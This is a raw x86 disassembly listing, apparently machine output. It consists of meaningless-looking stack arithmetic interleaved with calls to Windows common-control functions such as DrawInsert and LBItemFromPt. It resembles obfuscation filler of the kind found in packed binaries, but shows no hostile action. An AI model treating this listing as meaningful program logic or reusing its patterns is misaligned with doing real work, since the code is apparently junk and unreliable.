push 0x31
push 0x5b
push 0x66
mov edx, dword [ebp - 0x776c]
push edx
call sub.COMCTL32.dll_DefSubclassProc
mov dword [ebp - 0x3e94], eax
movzx eax, word [ebp - 0x2c54]
mov ecx, dword [ebp - 0x8404]
movzx edx, word [ecx]
add eax, edx
mov word [str._b__ayh], ax
mov eax, dword [ebp - 0x7e70]
mov ecx, dword [ebp - 0x81c]
add ecx, dword [eax]
mov edx, dword [ebp - 0x99e8]
mov dword [edx], ecx
push 0x37
mov eax, dword [ebp - 0xb274]
push eax
mov ecx, dword [ebp - 0x776c]
push ecx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
jmp 0x4098b3
movsx edx, word [0x4ab2bc]
movsx eax, word [ebp - 0xa44]
and edx, eax
movsx ecx, word [ebp - 0x194c]
movsx eax, word [ebp - 0xadc0]
add ecx, eax
cmp edx, ecx
je 0x4098b3
mov ecx, dword [ebp - 0x9f1c]
mov edx, dword [ebp - 0x4c18]
sub edx, dword [ecx]
mov dword [ebp - 0x941c], edx
mov eax, dword [ebp - 0x1b60]
mov ecx, dword [ebp - 0x73a8]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x32dc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x6d44]
movzx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x9dd8]
movzx eax, byte [eax]
movzx ecx, byte [ebp - 0x2421]
shl eax, cl
cmp edx, eax
jle 0x4098b3
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
mov dword [ebp - 0xb6f0], edx
cmp dword [ebp - 0xb6f0], 0x1aff
je 0x40987f
jmp 0x40989d
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0xb520]
movzx eax, byte [edx]
push eax
call fcn.0049f890
add esp, 8
jmp 0x4098b3
push 7
mov ecx, dword [ebp - 0x4400]
push ecx
mov edx, dword [ebp - 0xa880]
push edx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
mov eax, dword [ebp - 0x2a9c]
mov dword [ebp - 0x4938], eax
lea ecx, [ebp - 0x1b5c]
mov dword [ebp - 0x79d4], ecx
movzx edx, byte [ebp - 0x911]
movzx eax, byte [ebp - 0x8919]
or edx, eax
mov byte [ebp - 0x4a55], dl
mov ecx, dword [ebp - 0x741c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x5814]
shr edx, cl
mov eax, dword [ebp - 0x6ef4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6b58]
mov dword [ebp - 0x6098], ecx
movsx edx, word [ebp - 0xa44]
movsx eax, word [ebp - 0xadc0]
and edx, eax
movsx ecx, word [ebp - 0x194c]
mov eax, dword [ebp - 0x739c]
movsx eax, word [eax]
add ecx, eax
cmp edx, ecx
jg 0x409a15
movsx ecx, word [ebp - 0xa44]
mov dword [ebp - 0xb6f4], ecx
cmp dword [ebp - 0xb6f4], 0
je 0x40998a
cmp dword [ebp - 0xb6f4], 0x7c0
je 0x409956
jmp 0x4099db
mov edx, dword [ebp - 0x6ef4]
mov eax, dword [ebp - 0xa4bc]
sub eax, dword [edx]
mov ecx, dword [0x4aab7c]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x727d]
push edx
movzx eax, byte [ebp - 0x911]
push eax
mov ecx, dword [ebp - 0xa4bc]
push ecx
call fcn.00401820
jmp 0x4099db
mov edx, dword [ebp - 0x6098]
and edx, dword [ebp - 0x3234]
mov dword [ebp - 0x6510], edx
lea eax, [ebp - 0x7048]
mov dword [ebp - 0x8b84], eax
movsx ecx, byte [ebp - 0x727d]
mov edx, dword [ebp - 0x484]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x8d74]
mov byte [edx], cl
mov eax, dword [ebp - 0xe04]
movsx ecx, word [eax]
movsx edx, word [ebp - 0xa44]
add ecx, edx
mov word [ebp - 0x194c], cx
lea eax, [ebp - 0x2421]
mov dword [ebp - 0x2a4], eax
movzx ecx, word [ebp - 0x2c54]
movzx edx, word [ebp - 0xb2cc]
add ecx, edx
mov word [ebp - 0x7658], cx
mov eax, dword [ebp - 0x941c]
add eax, dword [ebp - 0x23a8]
mov dword [ebp - 0x5608], eax
jmp 0x409b3e
mov ecx, dword [ebp - 0x9f1c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x4c18]
shr edx, cl
mov dword [ebp - 0x5814], edx
mov eax, dword [ebp - 0x4938]
mov dword [ebp - 0xb6f8], eax
cmp dword [ebp - 0xb6f8], 0x481
je 0x409b28
cmp dword [ebp - 0xb6f8], 0x49ac
je 0x409a58
jmp 0x409b3e
mov edx, dword [ebp - 0x8f34]
xor edx, dword [ebp - 0x5814]
mov eax, dword [ebp - 0x6ef4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x941c]
shl eax, cl
cmp edx, eax
jb 0x409b12
mov ecx, dword [ebp - 0x8f34]
or ecx, dword [ebp - 0x23a8]
mov edx, dword [0x4aab7c]
mov dword [edx], ecx
lea eax, [ebp - 0x1104]
push eax
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x6894], eax
mov ecx, dword [ebp - 0x5608]
mov dword [ebp - 0xb6fc], ecx
cmp dword [ebp - 0xb6fc], 0x2fdf
je 0x409ac9
cmp dword [ebp - 0xb6fc], 0xbb33
je 0x409afc
jmp 0x409b12
movzx edx, word [ebp - 0x6c90]
mov eax, dword [ebp - 0xd4]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x79d4]
mov word [eax], dx
push 0x22
mov ecx, dword [ebp - 0x126c]
push ecx
mov edx, dword [ebp - 0x16f0]
push edx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
jmp 0x409b12
mov eax, dword [ebp - 0x1b60]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xae0c]
add ecx, dword [edx]
mov dword [ebp - 0x6098], ecx
mov eax, dword [ebp - 0xd4]
mov dx, word [eax]
mov ecx, dword [ebp - 0x7658]
call section..text
jmp 0x409b3e
mov ecx, dword [ebp - 0x9f1c]
mov edx, dword [ebp - 0xa4bc]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x741c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8bc0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x4730]
movzx ecx, byte [eax]
add edx, ecx
movzx eax, byte [ebp - 0x4a55]
movzx ecx, byte [ebp - 0x2421]
add eax, ecx
cmp edx, eax
jl 0x409cd3
mov edx, dword [ebp - 0x2a4]
mov al, byte [edx]
mov byte [ebp - 0xb700], al
cmp byte [ebp - 0xb700], 0x56
je 0x409c8c
cmp byte [ebp - 0xb700], 0x5d
je 0x409b93
jmp 0x409c9f
mov ecx, dword [ebp - 0x6074]
mov edx, dword [ecx]
add edx, dword [ebp - 0x6894]
mov eax, dword [ebp - 0x73a8]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x3234]
cmp edx, ecx
jle 0x409c4b
movzx edx, word [ebp - 0x1b5c]
mov dword [ebp - 0xb704], edx
cmp dword [ebp - 0xb704], 0x330
je 0x409bd2
jmp 0x409c29
mov eax, dword [ebp - 0x81c]
mov dword [ebp - 0x6b58], eax
push 0x86
mov ecx, dword [ebp - 0x9810]
push ecx
mov edx, dword [ebp - 0x4768]
push edx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [ebp - 0x4e20]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x1b60]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4730]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x2a4]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x911], dl
jmp 0x409c49
mov ecx, dword [ebp - 0x1868]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x32dc]
movzx ecx, byte [eax]
push ecx
mov edx, dword [section..data]
push edx
call fcn.00401820
jmp 0x409c8a
movsx eax, byte [ebp - 0x5f9d]
movsx ecx, byte [ebp - 0x2b89]
sub eax, ecx
movsx edx, byte [ebp - 0x727d]
movsx ecx, byte [0x4a9006]
or edx, ecx
cmp eax, edx
jle 0x409c8a
movzx edx, word [ebp - 0x1b5c]
mov eax, dword [ebp - 0xd4]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x8404]
mov word [ecx], dx
jmp 0x409c9f
mov edx, dword [ebp - 0xb000]
push edx
call dword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [ebp - 0x9af8], eax
mov eax, dword [0x4aab7c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x941c]
mov edx, dword [ebp - 0x5020]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1868]
mov cl, byte [eax]
mov byte [0x4aa683], cl
lea edx, [ebp - 0xcc0]
mov dword [ebp - 0x59dc], edx
jmp 0x409d81
movsx eax, word [ebp - 0x194c]
movsx ecx, word [ebp - 0xa44]
add eax, ecx
mov word [ebp - 0xadc0], ax
mov edx, dword [ebp - 0x484]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x727d]
sub eax, ecx
mov edx, dword [ebp - 0xb520]
mov byte [edx], al
mov eax, dword [ebp - 0x8d74]
mov cl, byte [eax]
mov byte [ebp - 0xb708], cl
cmp byte [ebp - 0xb708], 0x11
je 0x409d26
cmp byte [ebp - 0xb708], 0x73
je 0x409d69
jmp 0x409d81
push 0x34
mov edx, dword [ebp - 0x3888]
push edx
mov eax, dword [ebp - 0x67b0]
push eax
call dword [sym.imp.COMCTL32.dll_DrawInsert]
mov ecx, dword [ebp - 0x6d44]
movzx edx, byte [ecx]
push edx
movzx eax, byte [ebp - 0x4a55]
push eax
mov ecx, dword [ebp - 0x6d44]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x2a4]
movzx ecx, byte [eax]
push ecx
call fcn.00401350
jmp 0x409d81
movzx edx, byte [ebp - 0x2421]
mov eax, dword [ebp - 0x7398]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x8919], dl
mov edx, dword [ebp - 0x484]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x727d]
sub eax, ecx
movsx edx, byte [ebp - 0x2b89]
movsx ecx, byte [ebp - 0x5f9d]
sub edx, ecx
cmp eax, edx
jg 0x49e966
mov edx, dword [ebp - 0x1b60]
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [edx]
or ecx, dword [eax]
mov edx, dword [ebp - 0x8b84]
mov eax, dword [edx]
add eax, dword [ebp - 0x81c]
cmp ecx, eax
jl 0x409e76
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ebp - 0x4e20]
and edx, dword [ecx]
mov eax, dword [ebp - 0x11e0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x6098]
cmp edx, ecx
je 0x409e76
push 0xcc
mov edx, dword [ebp - 0xb000]
push edx
mov eax, dword [ebp - 0x16f0]
push eax
call dword [sym.imp.COMCTL32.dll_DrawInsert]
mov ecx, dword [section..data]
add ecx, dword [ebp - 0x5814]
mov edx, dword [0x4aab7c]
mov dword [edx], ecx
push 1
mov eax, dword [ebp - 0x9f14]
push eax
mov ecx, dword [ebp - 0x9f18]
push ecx
mov edx, dword [ebp - 0x4768]
push edx
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0xcc0], eax
mov eax, dword [ebp - 0x1b60]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0xcc0]
mov dword [ebp - 0x4938], ecx
mov edx, dword [ebp - 0x8404]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xd4]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x8404]
mov word [ecx], ax
mov edx, dword [ebp - 0x32dc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x8bc0]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x7398]
movzx edx, byte [ecx]
mov ecx, dword [ebp - 0x9dd8]
movzx ecx, byte [ecx]
sub edx, ecx
cmp eax, edx
jl 0x409fdb
mov edx, dword [ebp - 0x79d4]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x8404]
movzx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0xd4]
movzx ecx, word [edx]
movzx edx, word [ebp - 0x1b5c]
or ecx, edx
cmp eax, ecx
jl 0x409fa5
movzx eax, word [ebp - 0xb2cc]
mov dword [ebp - 0xb70c], eax
cmp dword [ebp - 0xb70c], 0x12a
je 0x409efe
cmp dword [ebp - 0xb70c], 0x9f0
je 0x409f30
jmp 0x409fa5
mov ecx, dword [ebp - 0x2a4]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x9dd8]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x2421], dl
push 0x21
mov edx, dword [ebp - 0xaebc]
push edx
mov eax, dword [ebp - 0x1934]
push eax
call dword [sym.imp.COMCTL32.dll_DrawInsert]
jmp 0x409fa5
mov ecx, dword [ebp - 0x8bc0]
mov dl, byte [ecx]
mov byte [ebp - 0xb710], dl
cmp byte [ebp - 0xb710], 0xbe
je 0x409f49
jmp 0x409f8f
mov eax, dword [ebp - 0x7e70]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x6b58]
sar edx, cl
mov eax, dword [ebp - 0x8b84]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6ef4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x941c]
mov dword [ebp - 0x5814], edx
movzx eax, byte [ebp - 0x727d]
push eax
movzx ecx, word [ebp - 0x194c]
push ecx
call fcn.00401120
add esp, 8
jmp 0x409fa5
mov edx, dword [ebp - 0x73a8]
mov eax, dword [edx]
add eax, dword [ebp - 0x7048]
mov ecx, dword [ebp - 0x8b84]
mov dword [ecx], eax
mov edx, dword [ebp - 0x99e8]
mov eax, dword [edx]
and eax, dword [ebp - 0xcc0]
mov ecx, dword [ebp - 0xae0c]
mov dword [ecx], eax
movzx edx, word [ebp - 0xb2cc]
mov eax, dword [ebp - 0xd4]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x8404]
mov word [eax], dx
jmp 0x40a05d
mov ecx, dword [ebp - 0x741c]
mov edx, dword [section..data]
add edx, dword [ecx]
mov eax, dword [ebp - 0x4c18]
and eax, dword [ebp - 0x8f34]
cmp edx, eax
je 0x40a05d
push 0x23
mov ecx, dword [ebp - 0x1934]
push ecx
mov edx, dword [ebp - 0xf6c]
push edx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
movzx eax, word [ebp - 0x7658]
mov ecx, dword [ebp - 0x79d4]
movzx edx, word [ecx]
sub eax, edx
mov word [str._b__ayh], ax
movsx eax, byte [ebp - 0x5f9d]
movsx ecx, byte [ebp - 0x727d]
add eax, ecx
mov edx, dword [ebp - 0x8d74]
mov byte [edx], al
lea eax, [ebp - 0x9f1c]
push eax
push fcn.00401820
mov ecx, dword [ebp - 0xa880]
push ecx
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x91a0], eax
lea edx, [ebp - 0xa44]
mov dword [ebp - 0x4f04], edx
lea eax, [ebp - 0x8f34]
mov dword [ebp - 0x685c], eax
mov ecx, dword [ebp - 0x8b84]
mov edx, dword [ecx]
add edx, dword [ebp - 0x6510]
mov eax, dword [ebp - 0x59dc]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0xcc0]
cmp edx, ecx
jge 0x40a0b5
mov edx, dword [ebp - 0x484]
movzx eax, byte [edx]
push eax
movzx ecx, byte [ebp - 0x911]
push ecx
mov edx, dword [ebp - 0x685c]
mov eax, dword [edx]
push eax
call fcn.00401820
movsx ecx, word [0x4ab2bc]
mov edx, dword [ebp - 0x4f04]
movsx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x739c]
movsx eax, word [edx]
mov edx, dword [ebp - 0xe04]
movsx edx, word [edx]
sub eax, edx
cmp ecx, eax
jle 0x40a157
mov eax, dword [ebp - 0xae0c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x4e20]
sar edx, cl
mov dword [ebp - 0x2a9c], edx
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [eax]
mov dword [ebp - 0xb714], ecx
cmp dword [ebp - 0xb714], 0x257
je 0x40a111
jmp 0x40a132
movzx edx, byte [ebp - 0x8919]
mov eax, dword [ebp - 0x32dc]
movzx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x9dd8]
mov byte [eax], dl
call fcn.004018d0
jmp 0x40a155
push 1
mov ecx, dword [ebp - 0x53d8]
push ecx
mov edx, dword [ebp - 0x53dc]
push edx
mov eax, dword [ebp - 0xa8f4]
push eax
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0x3234], eax
jmp 0x40a190
mov edx, dword [ebp - 0x6510]
sub edx, dword [ebp - 0x3234]
mov eax, dword [ebp - 0x7e70]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc0]
shl eax, cl
cmp edx, eax
je 0x40a190
movzx ecx, word [ebp - 0x2c54]
movzx edx, word [ebp - 0x7658]
xor ecx, edx
mov eax, dword [ebp - 0xd4]
mov word [eax], cx
mov ecx, dword [ebp - 0x8b84]
mov edx, dword [ecx]
mov dword [ebp - 0xb718], edx
cmp dword [ebp - 0xb718], 0
je 0x40a1ac
jmp 0x49e893
mov eax, dword [ebp - 0x5020]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0xa4bc]
mov edx, dword [ebp - 0x8f34]
sub edx, dword [ebp - 0x4c18]
cmp ecx, edx
jbe 0x40a21f
mov eax, dword [ebp - 0x6074]
mov ecx, dword [ebp - 0x8b84]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x4938], edx
mov eax, dword [0x4aab7c]
mov ecx, dword [ebp - 0x5020]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x9f1c]
mov dword [eax], edx
push 0
mov ecx, dword [ebp - 0xd6c]
push ecx
mov edx, dword [ebp - 0xd70]
push edx
mov eax, dword [ebp - 0x3888]
push eax
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0x4938], eax
jmp 0x49e7ee
movzx ecx, byte [ebp - 0x911]
movzx edx, byte [ebp - 0x4a55]
sub ecx, edx
mov eax, dword [ebp - 0x2a4]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x4730]
movzx eax, byte [eax]
add edx, eax
cmp ecx, edx
jl 0x49e7ee
mov ecx, dword [ebp - 0x4e20]
add ecx, dword [ebp - 0x2a9c]
mov dword [ebp - 0x7048], ecx
mov edx, dword [ebp - 0x2a9c]
sub edx, dword [ebp - 0xcc0]
mov eax, dword [ebp - 0x99e8]
mov ecx, dword [ebp - 0x59dc]
mov eax, dword [eax]
sub eax, dword [ecx]
cmp edx, eax
jge 0x40a2bb
mov ecx, dword [ebp - 0x59dc]
mov edx, dword [ebp - 0x2a9c]
and edx, dword [ecx]
mov dword [ebp - 0x6098], edx
mov eax, dword [ebp - 0x685c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x741c]
add ecx, dword [edx]
mov eax, dword [0x4aab7c]
mov dword [eax], ecx
lea ecx, [ebp - 0x91f8]
push ecx
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0xb0ac], eax
mov dx, word [ebp - 0xa44]
mov word [ebp - 0x1a8c], dx
mov eax, dword [ebp - 0x79d4]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x8404]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0xb2cc], cx
mov ecx, dword [ebp - 0x5020]
mov edx, dword [ecx]
mov dword [ebp - 0xb71c], edx
cmp dword [ebp - 0xb71c], 0xbd79
je 0x40a368
cmp dword [ebp - 0xb71c], 0xdff3
je 0x40a30f
jmp 0x40a3ba
mov eax, dword [ebp - 0x2a4]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x8919]
add ecx, edx
mov byte [ebp - 0x911], cl
mov eax, dword [ebp - 0x5020]
mov ecx, dword [ebp - 0x5814]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x741c]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x4a55]
push eax
movzx ecx, byte [ebp - 0x8919]
push ecx
mov edx, dword [ebp - 0x4730]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x4730]
movzx edx, byte [ecx]
push edx
call fcn.00401350
jmp 0x40a3ba
push 0
mov eax, dword [ebp - 0x6050]
push eax
mov ecx, dword [ebp - 0x6054]
push ecx
mov edx, dword [ebp - 0x9810]
push edx
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0x7048], eax
mov eax, dword [ebp - 0x1b60]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x4938]
shl edx, cl
mov eax, dword [ebp - 0x6074]
mov dword [eax], edx
movzx ecx, word [ebp - 0x6c90]
movzx edx, word [ebp - 0x1b5c]
xor ecx, edx
mov word [ebp - 0xb2cc], cx
mov eax, dword [ebp - 0x6894]
or eax, dword [ebp - 0xcc0]
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ebp - 0x3234]
mov ecx, dword [ecx]
sar edx, cl
cmp eax, edx
je 0x40a456
mov eax, dword [ebp - 0xd4]
movzx ecx, word [eax]
mov dword [ebp - 0xb720], ecx
cmp dword [ebp - 0xb720], 0x1f4
je 0x40a3f7
jmp 0x40a3f9
jmp 0x40a40d
mov edx, dword [ebp - 0xb0ac]
sub edx, dword [ebp - 0x4e20]
mov eax, dword [ebp - 0x99e8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x941c]
add ecx, dword [ebp - 0x23a8]
mov edx, dword [ebp - 0x685c]
mov dword [edx], ecx
lea eax, [ebp - 0xa118]
push eax
push section..text
mov ecx, dword [ebp - 0xa8f4]
push ecx
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x9b0], eax
mov edx, dword [ebp - 0x5814]
sub edx, dword [ebp - 0x9708]
mov dword [section..data], edx
jmp 0x49e790
mov eax, dword [ebp - 0x6ef4]
mov ecx, dword [ebp - 0x23a8]
and ecx, dword [eax]
mov edx, dword [section..data]
add edx, dword [ebp - 0x5608]
cmp ecx, edx
jae 0x40a5d7
movzx eax, byte [ebp - 0x4a55]
mov ecx, dword [ebp - 0x4730]
movzx edx, byte [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x7398]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x2421]
sar edx, cl
cmp eax, edx
je 0x40a5d5
mov al, byte [ebp - 0x727d]
mov byte [ebp - 0xb724], al
cmp byte [ebp - 0xb724], 0x40
je 0x40a5ba
cmp byte [ebp - 0xb724], 0x70
je 0x40a4cb
jmp 0x40a5d5
mov ecx, dword [ebp - 0x9f1c]
mov edx, dword [ebp - 0x5608]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x5814], edx
lea eax, [ebp - 0x6930]
push eax
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x6510], eax
mov ecx, dword [ebp - 0x8404]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x2c54]
or edx, eax
mov ecx, dword [ebp - 0x79d4]
movzx eax, word [ecx]
movzx ecx, word [ebp - 0xb2cc]
and eax, ecx
cmp edx, eax
je 0x40a5a4
mov dl, byte [ebp - 0x2421]
mov byte [ebp - 0xb728], dl
cmp byte [ebp - 0xb728], 0x39
je 0x40a540
cmp byte [ebp - 0xb728], 0xdc
je 0x40a591
jmp 0x40a5a4
mov eax, dword [ebp - 0x32dc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x7398]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x9dd8]
mov byte [edx], cl
mov eax, dword [ebp - 0x8404]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xd4]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x2c54], cx
mov ecx, dword [ebp - 0x11e0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x7e70]
add edx, dword [eax]
mov ecx, dword [ebp - 0x8b84]
mov dword [ecx], edx
jmp 0x40a5a4
mov edx, dword [ebp - 0x1934]
push edx
call dword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [ebp - 0x9af8], eax
mov eax, dword [ebp - 0x6074]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x81c]
mov dword [ebp - 0x6894], ecx
jmp 0x40a5d5
mov edx, dword [ebp - 0xe04]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x194c]
sub eax, ecx
mov edx, dword [ebp - 0x739c]
mov word [edx], ax
jmp 0x40a621
mov eax, dword [ebp - 0x741c]
mov ecx, dword [ebp - 0x5020]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x9f1c]
mov ecx, dword [eax]
sub ecx, dword [section..data]
cmp edx, ecx
jae 0x40a621
push 1
mov edx, dword [ebp - 0xa58c]
push edx
mov eax, dword [ebp - 0xa590]
push eax
mov ecx, dword [ebp - 0x3854]
push ecx
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0xcc0], eax
call fcn.0049fde0
movsx edx, byte [ebp - 0x727d]
movsx eax, byte [0x4a9006]
sub edx, eax
movsx ecx, byte [ebp - 0x2b89]
mov eax, dword [ebp - 0x1868]
movsx eax, byte [eax]
and ecx, eax
cmp edx, ecx
jg 0x40a730
mov ecx, dword [ebp - 0x1868]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x727d]
sar edx, cl
mov byte [ebp - 0x5f9d], dl
lea eax, [ebp - 0x2421]
mov dword [ebp - 0x5e70], eax
mov ecx, dword [ebp - 0x685c]
mov edx, dword [ecx]
mov dword [ebp - 0xb72c], edx
cmp dword [ebp - 0xb72c], 0
je 0x40a68b
jmp 0x40a716
mov al, byte [ebp - 0x2b89]
mov byte [ebp - 0xb730], al
cmp byte [ebp - 0xb730], 0
je 0x40a6a2
jmp 0x40a700
mov ecx, dword [ebp - 0x8404]
movzx eax, word [ecx]
cdq
mov ecx, 0x99f
idiv ecx
mov word [ebp - 0x6c90], ax
mov edx, dword [ebp - 0x23a8]
mov dword [ebp - 0x2ce0], edx
mov eax, dword [ebp - 0x4c18]
or eax, dword [ebp - 0x8f34]
mov dword [ebp - 0x5608], eax
mov ecx, dword [ebp - 0x7e70]
mov edx, dword [ebp - 0xae0c]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x99e8]
mov dword [ecx], eax
lea edx, [ebp - 0x2a9c]
mov dword [ebp - 0x240c], edx
jmp 0x40a714
mov eax, dword [ebp - 0x6074]
mov ecx, dword [ebp - 0x4e20]
sub ecx, dword [eax]
mov dword [ebp - 0xcc0], ecx
jmp 0x40a72e
movzx edx, byte [ebp - 0x2421]
movzx eax, byte [ebp - 0x8919]
and edx, eax
mov ecx, dword [ebp - 0x9dd8]
mov byte [ecx], dl
jmp 0x40a787
mov edx, dword [ebp - 0x6d44]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9dd8]
movzx edx, byte [ecx]
sub eax, edx
movzx ecx, byte [ebp - 0x4a55]
movzx edx, byte [ebp - 0x2421]
add ecx, edx
cmp eax, ecx
jg 0x40a787
movzx eax, byte [ebp - 0x2421]
push eax
mov ecx, dword [ebp - 0x4730]
movzx edx, byte [ecx]
push edx
movzx eax, word [ebp - 0x1b5c]
push eax
movzx ecx, byte [ebp - 0x4a55]
push ecx
movzx edx, byte [ebp - 0x2421]
push edx
call fcn.0049fa50
movzx eax, word [str._b__ayh]
movzx ecx, word [ebp - 0xb2cc]
sub eax, ecx
mov word [ebp - 0x7658], ax
mov edx, dword [ebp - 0xe04]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x739c]
movsx edx, word [ecx]
add eax, edx
mov word [0x4a9008], ax
lea eax, [ebp - 0x9708]
mov dword [ebp - 0x72a4], eax
mov ecx, dword [ebp - 0x99e8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b60]
add edx, dword [eax]
mov dword [ebp - 0x2a9c], edx
mov ecx, dword [ebp - 0xb0ac]
add ecx, dword [ebp - 0x6bec]
mov dword [ebp - 0x6510], ecx
mov dword [ebp - 0xe90], 0x4a9000
movzx edx, word [ebp - 0x2c54]
mov dword [ebp - 0xb734], edx
cmp dword [ebp - 0xb734], 0xf9b
je 0x40a811
jmp 0x40a84e
push 1
mov eax, dword [ebp - 0x9f14]
push eax
mov ecx, dword [ebp - 0x9f18]
push ecx
mov edx, dword [ebp - 0x16f0]
push edx
call dword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [ebp - 0x6b58], eax
movzx eax, byte [ebp - 0x2421]
movzx ecx, byte [ebp - 0x911]
add eax, ecx
mov edx, dword [ebp - 0x7398]
mov byte [edx], al
jmp 0x40a89e
movzx eax, word [ebp - 0x1b5c]
mov ecx, dword [ebp - 0x79d4]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0xd4]
mov word [ecx], ax
mov edx, dword [ebp - 0x1868]
mov al, byte [edx]
mov byte [ebp - 0x9452], al
mov ecx, dword [ebp - 0xe04]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x4f04]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x194c], dx
lea ecx, [ebp - 0x9708]
mov dword [0x4aa264], ecx
mov edx, dword [ebp - 0x8404]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x2c54]
shl eax, cl
mov ecx, dword [ebp - 0xd4]
movzx edx, word [ecx]
mov ecx, dword [ebp - 0x79d4]
movzx ecx, word [ecx]
xor edx, ecx
